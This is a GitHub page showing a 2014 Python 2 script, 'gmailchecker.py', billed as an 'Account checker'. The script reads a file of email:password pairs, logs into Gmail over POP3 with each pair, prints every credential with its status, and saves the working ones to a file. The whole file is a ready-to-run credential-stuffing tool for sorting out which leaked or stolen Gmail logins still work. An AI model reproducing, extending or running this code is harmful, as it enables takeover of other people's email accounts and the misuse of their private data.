-
Notifications
You must be signed in to change notification settings - Fork 53
/
gmailchecker.py
85 lines (71 loc) · 2.35 KB
/
gmailchecker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
# -*- coding: utf-8 -*-
# by ..:: crazyjunkie ::.. 2014
# Account Checker For Gmail
import sys, poplib
face = '''
__ _ __ _
/ /_ __ __ ______________ _____ __ __ (_)_ ______ / /__(_)__
/ __ \/ / / / / ___/ ___/ __ `/_ / / / / / / / / / / __ \/ //_/ / _ \
/ /_/ / /_/ / / /__/ / / /_/ / / /_/ /_/ / / / /_/ / / / / ,< / / __/
/_.___/\__, / \___/_/ \__,_/ /___/\__, /_/ /\__,_/_/ /_/_/|_/_/\___/
/____/ /____/___/
Account checker
..:: crazyjunkie ::..'''
help = '''
Usage: ./gmailchecker.py [gmaillist]
Ex : ./gmailchecker.py gmaillist.txt
\n* Account must be in the following format ~> [email protected]:password
'''
help = '''
Usage: ./gmailchecker.py [gmaillist]
Ex : ./gmailchecker.py gmaillist.txt
\n* Account must be in the following format ~> [email protected]:password
'''
if len(sys.argv) != 2:
print (face)
print (help)
exit(1)
#Change these if needed.
LOG = 'valid_gmail.txt'
HOST = 'pop.gmail.com'
PORT = 995
# Do not change anything below.
maillist = sys.argv[1]
valid = []
strline = 0
try:
handle = open(maillist)
except:
print '\n[-] Could not open the accounts file. Check the file path and try again.'
print '\n[-] Quitting ...'
exit(1)
for line in handle:
strline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
print '\n[-] Erroneous account format at line %d.' % strline
print '[!] Accounts must be in the following format : [email protected]:password'
print '\n[-] Quitting ...'
exit(1)
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
valid.append(email + ':' + password)
print '[+] Checking ~> username : [%s] password : [%s] status : Valid!' % (email, password)
pop.quit()
except:
print '[+] Checking ~> username : [%s] password : [%s] status : invalid!' % (email, password)
pass
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
if len(valid) > 0:
save = open(LOG, 'a')
for email in valid:
save.write(email + '\n')
save.close()
print '[+] The valid accounts are saved in "%s".' % LOG
print '[+] Done.\n'